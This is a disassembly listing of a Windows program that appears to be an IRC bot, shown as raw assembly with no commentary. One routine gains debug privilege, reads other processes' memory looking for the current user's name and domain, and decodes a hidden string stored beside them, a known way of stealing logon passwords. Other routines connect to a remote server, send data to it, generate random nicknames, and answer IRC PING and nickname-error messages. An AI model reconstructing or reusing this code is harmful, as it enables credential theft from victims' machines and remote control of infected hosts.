cmp eax, esi
mov [ebp+var_8], eax
jnz short loc_419BB5
xor eax, eax
jmp loc_419D27
; ---------------------------------------------------------------------------
loc_419BB5: ; CODE XREF: sub_419B8C+20j
mov eax, [ebp+arg_4]
push ebx
mov [eax], esi
push edi
lea eax, [ebp+var_68]
push eax
call ds:dword_42B0F4 ; GetSystemInfo
push [ebp+var_64]
mov [ebp+var_C], esi
mov esi, ds:dword_42B0E8
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_42B0E4
push eax
call edi ; RtlAllocateHeap
mov ebx, ds:dword_42B0F0
lea ecx, [ebp+var_C]
push ecx
push [ebp+var_64]
mov [ebp+var_4], eax
push eax
push 7FFDF000h
push [ebp+var_8]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_419C05
xor esi, esi
jmp loc_419D1A
; ---------------------------------------------------------------------------
loc_419C05: ; CODE XREF: sub_419B8C+70j
push 1Ch
lea eax, [ebp+var_44]
push eax
mov eax, [ebp+var_4]
push dword ptr [eax+18h]
push [ebp+var_8]
call ds:dword_42B0EC ; VirtualQueryEx
test eax, eax
jz loc_419D09
test [ebp+var_33], 10h
jz loc_419D09
test [ebp+var_2F], 1
jnz loc_419D09
push [ebp+var_38]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_38]
mov eax, [ebp+var_4]
push edi
push dword ptr [eax+18h]
mov [ebp+var_10], edi
push [ebp+var_8]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_419D09
loc_419C60: ; CODE XREF: sub_419B8C+108j
push edi ; wchar_t *
push offset word_4DA160 ; wchar_t *
call __wcsicmp
test eax, eax
pop ecx
pop ecx
jnz short loc_419C88
lea eax, [edi+200h]
push eax ; wchar_t *
push offset word_4DA968 ; wchar_t *
call __wcsicmp
test eax, eax
pop ecx
pop ecx
jz short loc_419C98
loc_419C88: ; CODE XREF: sub_419B8C+E3j
mov eax, [ebp+var_38]
mov ecx, [ebp+var_10]
inc edi
inc edi
add eax, ecx
cmp edi, eax
jb short loc_419C60
jmp short loc_419D09
; ---------------------------------------------------------------------------
loc_419C98: ; CODE XREF: sub_419B8C+FAj
test edi, edi
jz short loc_419D09
lea eax, [ebp+var_18]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_42B0AC ; FileTimeToLocalFileTime
test eax, eax
jz short loc_419CD5
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_18]
push eax
call ds:dword_42B0A8 ; FileTimeToSystemTime
test eax, eax
jz short loc_419CD5
mov ecx, [ebp+arg_4]
xor eax, eax
mov al, [edi+42Ch]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_419CD5: ; CODE XREF: sub_419B8C+123j
; sub_419B8C+135j
movzx eax, byte ptr [edi+42Dh]
mov dword_4DB180, eax
mov eax, [ebp+var_4]
mov eax, [eax+18h]
sub eax, [ebp+var_10]
mov [ebp+var_14], 1
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4DB178, eax
mov Src, edi
loc_419D09: ; CODE XREF: sub_419B8C+90j
; sub_419B8C+9Aj ...
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
mov esi, [ebp+var_14]
loc_419D1A: ; CODE XREF: sub_419B8C+74j
push [ebp+var_8]
call ds:dword_42B004 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_419D27: ; CODE XREF: sub_419B8C+24j
pop esi
leave
retn
sub_419B8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D2A proc near ; CODE XREF: sub_419FFD:loc_41A0F4p
var_50 = byte ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_2C = byte ptr -2Ch
var_20 = dword ptr -20h
var_1B = byte ptr -1Bh
var_17 = byte ptr -17h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 50h
push [ebp+arg_0]
push 0
push 410h
call ds:dword_42B040 ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jnz short loc_419D49
leave
retn
; ---------------------------------------------------------------------------
loc_419D49: ; CODE XREF: sub_419D2A+1Bj
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
push ebx
push esi
push edi
lea eax, [ebp+var_50]
push eax
call ds:dword_42B0F4 ; GetSystemInfo
mov eax, [ebp+var_44]
mov ebx, [ebp+var_48]
cmp ebx, eax
mov [ebp+var_10], eax
jnb loc_419E09
mov edi, ds:dword_42B0E8
loc_419D73: ; CODE XREF: sub_419D2A+D9j
push 1Ch
lea eax, [ebp+var_2C]
push eax
push ebx
push [ebp+var_4]
call ds:dword_42B0EC ; VirtualQueryEx
test eax, eax
jz short loc_419DF7
test [ebp+var_1B], 10h
mov eax, [ebp+var_20]
mov [ebp+var_8], eax
jz short loc_419DFD
test [ebp+var_17], 1
jnz short loc_419DFD
push eax
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_42B0E4 ; RtlAllocateHeap
and [ebp+var_C], 0
mov esi, eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_20]
push esi
push ebx
push [ebp+var_4]
call ds:dword_42B0F0 ; ReadProcessMemory
test eax, eax
jz short loc_419DE9
push offset word_4DA160 ; wchar_t *
push esi ; wchar_t *
call __wcsicmp
test eax, eax
pop ecx
pop ecx
jnz short loc_419DE9
lea eax, [esi+400h]
push offset word_4DA968 ; wchar_t *
push eax ; wchar_t *
call __wcsicmp
test eax, eax
pop ecx
pop ecx
jz short loc_419E1B
loc_419DE9: ; CODE XREF: sub_419D2A+95j
; sub_419D2A+A6j
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
jmp short loc_419DFD
; ---------------------------------------------------------------------------
loc_419DF7: ; CODE XREF: sub_419D2A+5Bj
mov eax, [ebp+var_4C]
mov [ebp+var_8], eax
loc_419DFD: ; CODE XREF: sub_419D2A+67j
; sub_419D2A+6Dj ...
add ebx, [ebp+var_8]
cmp ebx, [ebp+var_10]
jb loc_419D73
loc_419E09: ; CODE XREF: sub_419D2A+3Dj
xor esi, esi
loc_419E0B: ; CODE XREF: sub_419D2A+123j
push [ebp+var_4]
call ds:dword_42B004 ; CloseHandle
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E1B: ; CODE XREF: sub_419D2A+BDj
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4DB178, ebx
mov Src, eax
cmp [eax], cl
jnz short loc_419E3D
cmp [eax+1], cl
jz short loc_419E45
loc_419E3D: ; CODE XREF: sub_419D2A+10Cj
; sub_419D2A+119j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_419E3D
loc_419E45: ; CODE XREF: sub_419D2A+111j
mov eax, [ebp+arg_4]
xor esi, esi
mov [eax], ecx
inc esi
jmp short loc_419E0B
sub_419D2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E4F proc near ; CODE XREF: sub_419FFD+134p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DB174
add eax, eax
mov [ebp+var_8], ax
add eax, 2
push esi
mov esi, ds:dword_42B0E8
mov [ebp+var_6], ax
movzx eax, ax
push edi
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E4 ; RtlAllocateHeap
mov ecx, dword_4DB174
add ecx, ecx
push ecx ; Size
push Src ; Src
mov [ebp+var_4], eax
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
xor eax, eax
mov al, byte ptr dword_4DB180
push eax
call dword_4DA964
push [ebp+var_4]
mov edi, offset byte_4DB188
push offset word_4DA160
push offset word_4DA968
push [ebp+arg_0]
push offset asc_4370F0 ; "-"
push 200h ; Count
push edi ; Dest
call __snprintf
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_419E4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419EE6 proc near ; CODE XREF: sub_419FFD:loc_41A138p
var_18 = word ptr -18h
var_16 = word ptr -16h
Dst = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4DB174
add eax, eax
push ebx
mov [ebp+var_18], ax
add eax, 2
push esi
mov [ebp+var_16], ax
movzx eax, ax
push edi
push eax
push 8
call ds:dword_42B0E8 ; GetProcessHeap
push eax
call ds:dword_42B0E4 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+Dst], eax
mov ebx, offset word_4DA968
mov edi, 200h
mov esi, offset byte_4DB388
loc_419F2A: ; CODE XREF: sub_419EE6+F8j
mov eax, dword_4DB174
add eax, eax
push eax ; Size
push Src ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4DA964
mov eax, dword_4DB174
and [ebp+var_10], 0
test eax, eax
mov ecx, [ebp+Dst]
mov [ebp+var_8], 1
jbe short loc_419F9F
loc_419F67: ; CODE XREF: sub_419EE6+B1j
cmp [ebp+var_8], 0
jz short loc_419FBC
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_419F8B
cmp byte ptr [ecx+1], 0
jnz short loc_419F8B
cmp dl, 20h
jnb short loc_419F85
and [ebp+var_8], 0
loc_419F85: ; CODE XREF: sub_419EE6+99j
cmp [ebp+var_1], 7Eh
jbe short loc_419F8F
loc_419F8B: ; CODE XREF: sub_419EE6+8Ej
; sub_419EE6+94j
and [ebp+var_8], 0
loc_419F8F: ; CODE XREF: sub_419EE6+A3j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_419F67
cmp [ebp+var_8], 0
jz short loc_419FBC
loc_419F9F: ; CODE XREF: sub_419EE6+7Fj
push [ebp+Dst]
push offset word_4DA160
push ebx
push [ebp+arg_0]
push offset asc_4370F0 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_419FD4
; ---------------------------------------------------------------------------
loc_419FBC: ; CODE XREF: sub_419EE6+85j
; sub_419EE6+B7j
push offset word_4DA160
push ebx
push [ebp+arg_0]
push offset asc_437140 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 18h
loc_419FD4: ; CODE XREF: sub_419EE6+D4j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_419F2A
push [ebp+Dst]
push 0
call ds:dword_42B0E8 ; GetProcessHeap
push eax
call ds:dword_42B0E0 ; RtlFreeHeap
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
sub_419EE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_419FFD proc near ; DATA XREF: sub_40274D+1AE3o
Dest = byte ptr -29Ch
var_9C = dword ptr -9Ch
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 29Ch
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_9C]
rep movsd
xor esi, esi
inc esi
mov [eax+90h], esi
call sub_41D64B
cmp eax, esi
mov [ebp+74h+var_4], eax
jz short loc_41A03C
cmp eax, 2
jz short loc_41A03C
push offset dword_437368
jmp loc_41A179
; ---------------------------------------------------------------------------
loc_41A03C: ; CODE XREF: sub_419FFD+2Ej
; sub_419FFD+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41C3D9
test eax, eax
pop ecx
pop ecx
jz loc_41A174
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_42B018 ; LoadLibraryA
mov esi, ds:dword_42B020
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+74h+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4DA960, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4DB168, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4DB16C, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4DB170, eax
call esi ; GetProcAddress
mov dword_4DA964, eax
call sub_419A03
test eax, eax
mov [ebp+74h+arg_0], eax
jz loc_41A148
mov esi, ds:dword_42B0FC
mov edi, 400h
push edi
mov ebx, offset word_4DA160
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset word_4DA968
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+74h+var_4], 1
push offset dword_4DB174
push [ebp+74h+arg_0]
jnz short loc_41A0F4
call sub_419B8C
jmp short loc_41A0F9
; ---------------------------------------------------------------------------
loc_41A0F4: ; CODE XREF: sub_419FFD+EEj
call sub_419D2A
loc_41A0F9: ; CODE XREF: sub_419FFD+F5j
test eax, eax
pop ecx
pop ecx
jz short loc_41A141
cmp dword_4DB174, 0
jnz short loc_41A128
push ebx
push edi
push [ebp+74h+arg_0]
lea eax, [ebp+74h+Dest]
push offset asc_437230 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp short loc_41A15B
; ---------------------------------------------------------------------------
loc_41A128: ; CODE XREF: sub_419FFD+109j
cmp [ebp+74h+var_4], 1
push [ebp+74h+arg_0]
jnz short loc_41A138
call sub_419E4F
jmp short loc_41A13D
; ---------------------------------------------------------------------------
loc_41A138: ; CODE XREF: sub_419FFD+132j
call sub_419EE6
loc_41A13D: ; CODE XREF: sub_419FFD+139j
pop ecx
push eax
jmp short loc_41A14D
; ---------------------------------------------------------------------------
loc_41A141: ; CODE XREF: sub_419FFD+100j
push offset unk_4371F4
jmp short loc_41A14D
; ---------------------------------------------------------------------------
loc_41A148: ; CODE XREF: sub_419FFD+B5j
push offset asc_4371C8 ; "-"
loc_41A14D: ; CODE XREF: sub_419FFD+142j
; sub_419FFD+149j
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A15B: ; CODE XREF: sub_419FFD+129j
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41C3D9
pop ecx
pop ecx
push [ebp+74h+var_8]
call ds:dword_42B0F8 ; FreeLibrary
jmp short loc_41A187
; ---------------------------------------------------------------------------
loc_41A174: ; CODE XREF: sub_419FFD+4Ej
push offset asc_437194 ; "-"
loc_41A179: ; CODE XREF: sub_419FFD+3Aj
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A187: ; CODE XREF: sub_419FFD+175j
xor esi, esi
cmp [ebp+74h+var_10], esi
jnz short loc_41A1A8
push esi ; int
push [ebp+74h+var_14] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_9C] ; int
call sub_40123B
add esp, 14h
loc_41A1A8: ; CODE XREF: sub_419FFD+18Fj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_18]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_419FFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1C6 proc near ; CODE XREF: sub_418799+35p
; sub_418CEA+B8p ...
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_444100 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41A242
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+arg_4]
mov [ebp+Dst], 2
call dword_444260 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_44417C ; inet_addr
cmp eax, esi
jnz short loc_41A227
push [ebp+arg_0]
call dword_444168 ; gethostbyname
test eax, eax
jz short loc_41A242
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_41A227: ; CODE XREF: sub_41A1C6+4Bj
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+Dst]
push eax
push edi
call dword_4440AC ; connect
cmp eax, esi
jnz short loc_41A246
push edi
call dword_444218 ; closesocket
loc_41A242: ; CODE XREF: sub_41A1C6+1Bj
; sub_41A1C6+58j
mov eax, esi
jmp short loc_41A248
; ---------------------------------------------------------------------------
loc_41A246: ; CODE XREF: sub_41A1C6+73j
mov eax, edi
loc_41A248: ; CODE XREF: sub_41A1C6+7Ej
pop edi
pop esi
leave
retn
sub_41A1C6 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41A24C(char *Dest)
sub_41A24C proc near ; CODE XREF: sub_40274D+305Ep
; sub_40274D+30C1p ...
Dest = dword ptr 4
push esi
push edi
mov edi, [esp+8+Dest]
push offset asc_42CDD8 ; "\n"
push edi ; Dest
call _strcat
pop ecx
pop ecx
mov esi, offset dword_4DB58C
loc_41A264: ; CODE XREF: sub_41A24C+42j
cmp dword ptr [esi-4], 1
jnz short loc_41A282
cmp dword ptr [esi], 0
jbe short loc_41A282
push 0
push edi ; Str
call _strlen
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4441A0 ; send
loc_41A282: ; CODE XREF: sub_41A24C+1Cj
; sub_41A24C+21j
add esi, 210h
cmp esi, offset dword_4E1CAC
jl short loc_41A264
pop edi
pop esi
retn
sub_41A24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A293(char *Dest)
sub_41A293 proc near ; CODE XREF: sub_40274D+34C1p
; sub_40274D+3504p ...
Source = byte ptr -3Ch
Dst = byte ptr -28h
var_27 = byte ptr -27h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3Ch
push 14h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
call _rand
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul ds:dbl_437B00
call __ftol2
cmp eax, 1
jnz short loc_41A2DD
call _rand
call _rand
push 66h
cdq
pop ecx
idiv ecx
push off_4431D0[edx*4]
jmp short loc_41A2F6
; ---------------------------------------------------------------------------
loc_41A2DD: ; CODE XREF: sub_41A293+2Fj
call _rand
call _rand
cdq
mov ecx, 0C0h
idiv ecx
push off_442ED0[edx*4] ; Source
loc_41A2F6: ; CODE XREF: sub_41A293+48j
lea eax, [ebp+Dst]
push eax ; Dest
call _strcpy
pop ecx
pop ecx
push ebx
push esi
lea eax, [ebp+Dst]
push edi
push eax ; Str
call _strlen
pop ecx
mov esi, eax
push 13h
pop ebx
mov [ebp+var_4], esi
sub ebx, esi
call _rand
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul ds:dbl_437AF8
call __ftol2
mov [ebp+var_14], eax
call _rand
mov [ebp+var_C], eax
fild [ebp+var_C]
fimul [ebp+var_4]
fmul ds:dbl_437AF0
call __ftol2
cmp esi, 2
mov edi, offset a__1 ; "-|`_\\{[]}"
jle short loc_41A368
cmp esi, 3
jnz short loc_41A35F
cmp [ebp+var_14], 1
jz short loc_41A368
loc_41A35F: ; CODE XREF: sub_41A293+C4j
cmp eax, 1
jnz loc_41A42B
loc_41A368: ; CODE XREF: sub_41A293+BFj
; sub_41A293+CAj
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AD8
call __ftol2
push off_4431D0[eax*4] ; Source
lea eax, [ebp+Source]
push eax ; Dest
call _strcpy
lea eax, [ebp+esi+Dst]
mov [ebp+var_C], eax
movsx eax, byte ptr [eax-1]
push eax ; Val
push edi ; Str
call _strchr
add esp, 10h
test eax, eax
jnz short loc_41A41A
movsx eax, [ebp+Source]
push eax ; Val
push edi ; Str
call _strchr
test eax, eax
pop ecx
pop ecx
jnz short loc_41A41A
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
dec esi
mov [ebp+var_14], esi
fild [ebp+var_14]
fmulp st(1), st
fmul ds:dbl_437AF0
call __ftol2
cmp eax, 1
jnz short loc_41A41A
push edi ; Str
call _strlen
test eax, eax
mov [ebp+var_14], eax
fild [ebp+var_14]
pop ecx
jge short loc_41A3F3
fadd ds:dbl_433200
loc_41A3F3: ; CODE XREF: sub_41A293+158j
fstp qword ptr [ebp-8]
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul qword ptr [ebp-8]
fmul ds:dbl_437AF0
call __ftol2
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov ecx, [ebp+var_C]
mov [ecx], al
loc_41A41A: ; CODE XREF: sub_41A293+112j
; sub_41A293+123j ...
push ebx ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call _strncat
add esp, 0Ch
loc_41A42B: ; CODE XREF: sub_41A293+CFj
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
mov esi, eax
lea ebx, [ebp+esi+Dst]
movsx eax, byte ptr [ebx-1]
push eax ; C
mov [ebp+var_4], esi
call _isdigit
test eax, eax
pop ecx
pop ecx
jnz loc_41A695
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax ; Val
push edi ; Str
call _strchr
test eax, eax
pop ecx
pop ecx
jnz loc_41A595
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
lea eax, [esi+3]
mov [ebp+var_14], eax
fild [ebp+var_14]
fmulp st(1), st
fmul ds:dbl_437AF0
call __ftol2
cmp esi, 3
jz short loc_41A498
cmp eax, 1
jnz loc_41A595
loc_41A498: ; CODE XREF: sub_41A293+1FAj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_41A4E0
push edi ; Str
call _strlen
test eax, eax
mov [ebp+var_14], eax
fild [ebp+var_14]
pop ecx
jge short loc_41A4BA
fadd ds:dbl_433200
loc_41A4BA: ; CODE XREF: sub_41A293+21Fj
fstp qword ptr [ebp-10h]
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul qword ptr [ebp-10h]
fmul ds:dbl_437AF0
call __ftol2
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_41A4FC
; ---------------------------------------------------------------------------
loc_41A4E0: ; CODE XREF: sub_41A293+20Ej
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AD0
call __ftol2
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_41A4FC: ; CODE XREF: sub_41A293+24Bj
xor ebx, ebx
inc esi
inc ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AC8
call __ftol2
cmp esi, 3
jz short loc_41A525
cmp eax, ebx
jnz short loc_41A595
loc_41A525: ; CODE XREF: sub_41A293+28Cj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41A570
push edi ; Str
call _strlen
test eax, eax
mov [ebp+var_14], eax
fild [ebp+var_14]
pop ecx
jge short loc_41A548
fadd ds:dbl_433200
loc_41A548: ; CODE XREF: sub_41A293+2ADj
fstp qword ptr [ebp-10h]
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul qword ptr [ebp-10h]
fmul ds:dbl_437AF0
call __ftol2
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebp+esi+Dst], al
jmp short loc_41A58E
; ---------------------------------------------------------------------------
loc_41A570: ; CODE XREF: sub_41A293+29Cj
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AD0
call __ftol2
mov cl, 41h
sub cl, al
mov [ebp+esi+Dst], cl
loc_41A58E: ; CODE XREF: sub_41A293+2DBj
inc esi
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
loc_41A595: ; CODE XREF: sub_41A293+1D0j
; sub_41A293+1FFj ...
cmp esi, 6
jge short loc_41A615
call _rand
cmp esi, 5
jge short loc_41A5B2
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AF8
jmp short loc_41A5CB
; ---------------------------------------------------------------------------
loc_41A5B2: ; CODE XREF: sub_41A293+30Fj
mov [ebp+var_14], eax
fild [ebp+var_14]
push 8
pop eax
sub eax, esi
mov [ebp+var_14], eax
fild [ebp+var_14]
fmulp st(1), st
fmul ds:dbl_437AF0
loc_41A5CB: ; CODE XREF: sub_41A293+31Dj
call __ftol2
test eax, eax
jnz short loc_41A5EE
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AC0
call __ftol2
mov cl, 30h
jmp short loc_41A60B
; ---------------------------------------------------------------------------
loc_41A5EE: ; CODE XREF: sub_41A293+33Fj
cmp eax, 1
jnz short loc_41A615
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AD0
call __ftol2
mov cl, 41h
loc_41A60B: ; CODE XREF: sub_41A293+359j
sub cl, al
mov [ebp+esi+Dst], cl
inc esi
mov [ebp+var_4], esi
loc_41A615: ; CODE XREF: sub_41A293+305j
; sub_41A293+35Ej
cmp [ebp+var_C], 2
jge short loc_41A695
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fimul [ebp+var_4]
fmul ds:dbl_437AF0
call __ftol2
cmp eax, 1
jnz short loc_41A695
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AC0
call __ftol2
mov cl, 30h
sub cl, al
mov [ebp+esi+Dst], cl
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AB8
call __ftol2
cmp eax, 1
jnz short loc_41A695
cmp [ebp+var_C], eax
jge short loc_41A695
call _rand
mov [ebp+var_14], eax
fild [ebp+var_14]
fmul ds:dbl_437AB0
call __ftol2
mov cl, 30h
sub cl, al
mov [ebp+esi+var_27], cl
loc_41A695: ; CODE XREF: sub_41A293+1B8j
; sub_41A293+386j ...
push 14h ; Count
lea eax, [ebp+Dst]
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
mov eax, [ebp+Dest]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_41A293 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A6AE(char *Str,int)
sub_41A6AE proc near ; CODE XREF: sub_41A7A3+135p
Dst = byte ptr -420h
Dest = byte ptr -220h
Str2 = dword ptr -20h
var_1C = dword ptr -1Ch
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
mov esi, offset asc_42FE58 ; " "
push esi ; Delim
push [ebp+Str] ; Str
call _strtok
xor edi, edi
pop ecx
inc edi
pop ecx
mov [ebp+Str2], eax
xor ebx, ebx
loc_41A6D2: ; CODE XREF: sub_41A6AE+35j
push esi ; Delim
push ebx ; Str
call _strtok
mov [ebp+edi*4+Str2], eax
inc edi
cmp edi, 8
pop ecx
pop ecx
jl short loc_41A6D2
cmp [ebp+Str2], ebx
mov esi, [ebp+var_1C]
jnz short loc_41A6F9
cmp esi, ebx
jnz short loc_41A6F9
xor eax, eax
inc eax
jmp loc_41A79E
; ---------------------------------------------------------------------------
loc_41A6F9: ; CODE XREF: sub_41A6AE+3Dj
; sub_41A6AE+41j
push [ebp+Str2] ; Str2
push offset Str1 ; "PING"
call _strcmp
test eax, eax
pop ecx
pop ecx
push esi
jnz short loc_41A723
lea eax, [ebp+Dest]
push offset aPongS_0 ; "PONG %s\n"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_41A77D
; ---------------------------------------------------------------------------
loc_41A723: ; CODE XREF: sub_41A6AE+5Dj
push offset a433 ; "433"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_41A744
push esi ; Str2
push offset a432 ; "432"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_41A79C
loc_41A744: ; CODE XREF: sub_41A6AE+83j
push 200h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_41A293
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push offset aNickS_1 ; "NICK %s\n"
push eax ; Dest
call _sprintf
add esp, 1Ch
loc_41A77D: ; CODE XREF: sub_41A6AE+73j
lea eax, [ebp+Dest]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
loc_41A79C: ; CODE XREF: sub_41A6AE+94j
xor eax, eax
loc_41A79E: ; CODE XREF: sub_41A6AE+46j
pop edi
pop esi
pop ebx
leave
retn
